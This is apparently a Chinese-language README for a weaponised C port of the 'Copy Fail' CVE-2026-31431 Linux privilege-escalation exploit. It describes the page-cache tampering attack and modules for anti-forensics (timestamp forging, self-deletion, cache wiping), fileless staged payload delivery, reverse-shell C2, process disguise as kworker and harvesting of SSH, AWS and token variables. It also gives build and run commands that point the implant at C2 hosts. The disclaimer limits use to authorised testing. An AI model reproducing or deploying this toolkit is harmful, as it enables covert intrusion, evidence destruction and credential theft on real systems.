为红队和授权渗透测试操作而强化的C语言实现。
⚠️ 法律声明: 本工具仅用于授权的安全研究、授权的渗透测试和防御性分析。仅可在您拥有或获得明确书面授权测试的系统上使用。未经授权访问计算机系统是违法的。
🚀 主要开发已迁移至GitLab。
此仓库在此处积极维护。如有问题或贡献,请使用GitLab。
本项目是CVE-2026-31431("Copy Fail")本地权限提升漏洞的一个强化、生产就绪的C语言移植版本,最初由Theori和Xint于2026年4月29日披露。
原始概念验证代码使用Python编写,旨在用于研究演示。本实现将其转化为一个红队级工具包,具备:
| 属性 | 值 |
|---|---|
| 披露日期 | 2026年4月29日 |
| 研究人员 | Theori(Jinoh Kang, Yonghwi Jin, Seunghyun Lee)、Xint |
| 分析文章 | https://copy.fail/ |
| 原始PoC | theori-io/copy-fail-CVE-2026-31431 (Python) |
| C语言移植(基础版) | tgies/copy-fail-c 作者:Tony Gies |
| 受影响内核 | Linux 4.14 -- 6.14(修复提交a664bf3d603d之前) |
| 严重程度 | CVSS 7.8(高)—— 本地权限提升 |
该漏洞位于Linux内核的AF_ALG加密子系统中。authencesn AEAD模板实现了一种原地优化用于解密:当密文通过splice()从文件的页缓存提供时,内核重复使用同一页面作为源和目标。
攻击流程:
/usr/bin/su)AF_ALG设置一个authencesn(hmac(sha256),cbc(aes)) AEAD操作splice()从目标文件的页缓存中提供密文execve()目标文件——内核从缓存加载被修改的页面,授予setuid-root凭证关键洞察: 磁盘上的inode从未被修改。只有内存中的页缓存被篡改,这使得基于取证的传统文件覆写漏洞的检测难度显著增加。
本项目在原有研究基础上扩展了面向红队的强化,涵盖九个模块。
patch_chunk.c)| 特性 | 原始版本 | 我们的实现 |
|---|---|---|
| 套接字管理 | 每块新建套接字 | 套接字复用(减少约60%系统调用) |
| 验证 | 无 | mmap + memcmp,自动重试(3次) |
| 并行写入 | 仅顺序执行 | 基于fork的并行(最多16个进程) |
| 错误码 | 二进制成功/失败 | 细化:0=已验证,1=已修补内核,-1=致命错误 |
| 堆分配 | 热路径中使用malloc | 仅栈操作(无分配抖动) |
target_discovery.c)su、sudo、passwd、pkexec、mount、ping等/snap(非传统setuid)anti_forensics.c)| 技术 | 目的 |
|---|---|
posix_fadvise(POSIX_FADV_DONTNEED) | 逐文件页缓存驱逐 |
echo 3 > /proc/sys/vm/drop_caches | 全局缓存清理(提权后) |
utimensat() 时间戳伪造 | 恢复原始atime/mtime |
| 自毁 | 在执行前用零覆盖投放器二进制文件 |
| 内存擦除 | 使用volatile清零敏感缓冲区 |
memfd_exec.c)kworker、anon_inode、eventfd(混入/proc/$pid/fd/)stage1.c)| 通道 | 隐蔽性 | 速度 | 回退优先级 |
|---|---|---|---|
| 内嵌 | 最高 | 即时 | 最后(断网) |
| HTTP直连 | 中等 | <1秒 | 最先 |
| 系统curl/wget | 低 | 1-3秒 | 第二(支持HTTPS) |
| DNS TXT | 高 | 慢 | 第三(防火墙绕过) |
stage2_template.c)SIGUSR1(触发)、SIGUSR2(状态)、SIGTERM(关闭)ps/top中显示为[kworker/N:0]proc_hide.c)/proc/$pid/cmdlineSSH_*、AWS_*、TOKEN*等setsid() + setpgid(),实现终端独立signal_trigger.c)| 模式 | 行为 | 使用场景 |
|---|---|---|
trigger_oneshot() | 睡眠 → 触发 → 执行 → 退出 | 快速打击 |
trigger_daemon() | 睡眠 → 触发 → 执行 → 循环 | 持续植入 |
trigger_auto() | 睡眠 + 超时回退 | 无人值守操作 |
零CPU等待:使用sigsuspend()而不是轮询循环。
sleep_jitter.c)getrandom(2)、/dev/urandom、rdtsc回退sleep_scheduled()在抖动情况下维持平均间隔check_sandbox_acceleration()检测被修补的sleep()┌─────────────────────────────────────────────────────────────┐
│ exploit.c (编排器) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ 隐藏 │ │ 发现 │ │ 漏洞 │ │ 清理 │ │
│ │ 进程 │ │ 目标 │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 核心模块层 │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 投递与规避层 │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 载荷层(第二阶段) │ │
│ │ stage2_template.c (反弹shell / C2植入) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
linux-libc-dev或等效包)musl-tools(用于小巧的静态构建)zig(用于现代交叉编译)dpkg-deb(用于Debian打包)# 标准红队构建(优化、剥离、静态)
make redteam
# 渗透测试构建(符号表、适度优化)
make pentest
# 调试构建(ASAN、完整符号表)
make debug
# 漏洞检查器(非破坏性)
make checker
# ARM64(AWS/Azure云目标)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF(嵌入式/IoT)
make cross-armhf
# Zig交叉编译(无需安装工具链)
make cross-zig-arm64
make cross-zig-riscv
make musl-static
# 生成约50-100 KB的静态二进制文件,无glibc依赖
make deb VERSION=1.0.0
# 生成:build/deb/copy-fail-cve-2026-31431-1.0.0.deb
make info
# 显示:CC、CFLAGS、LDFLAGS、架构、工具链可用性
# 部署植入
./exploit &
IMP_PID=$!
# 远程触发漏洞利用
kill -USR1 $IMP_PID
# 请求状态(无操作)
kill -USR2 $IMP_PID
# 优雅关闭
kill -TERM $IMP_PID
./exploit -t # 立即触发,不等待信号
./exploit -t -c c2.example.com -p 9999
./exploit \
-c c2.redteam.internal \ # C2主机名
-p 4444 \ # C2端口
-d 300 \ # 5分钟初始延迟
-T 7200 \ # 2小时触发超时
-n # 跳过漏洞验证
./vulnerable
# 退出码:100 = 有漏洞,0 = 已修补,其他 = 错误
| 模块 | 文件 | 用途 |
|---|---|---|
| 漏洞原语 | patch_chunk.c/h | AF_ALG/splice页缓存篡改 |
| 目标发现 | target_discovery.c/h | 自动扫描并评分setuid二进制文件 |
| 反取证 | anti_forensics.c/h | 清理、时间戳伪造、自毁 |
| 第一阶段投递 | stage1.c/h | 无文件载荷获取与执行 |
| 第二阶段C2 | stage2_template.c/h | 带重连循环的反弹shell |
| memfd执行 | memfd_exec.c/h | 匿名文件执行原语 |
| 进程隐藏 | proc_hide.c/h | argv/cmdline/comm伪装 |
| 信号控制 | signal_trigger.c/h | 操作员触发执行 |
| 睡眠抖动 | sleep_jitter.c/h | 带分布的随机延迟 |
| 编排器 | exploit.c | 主入口与协调 |
| 检查器 | vulnerable.c | 非破坏性漏洞探测 |
full_cleanup),即使漏洞利用失败memfd_fork_exec_detach)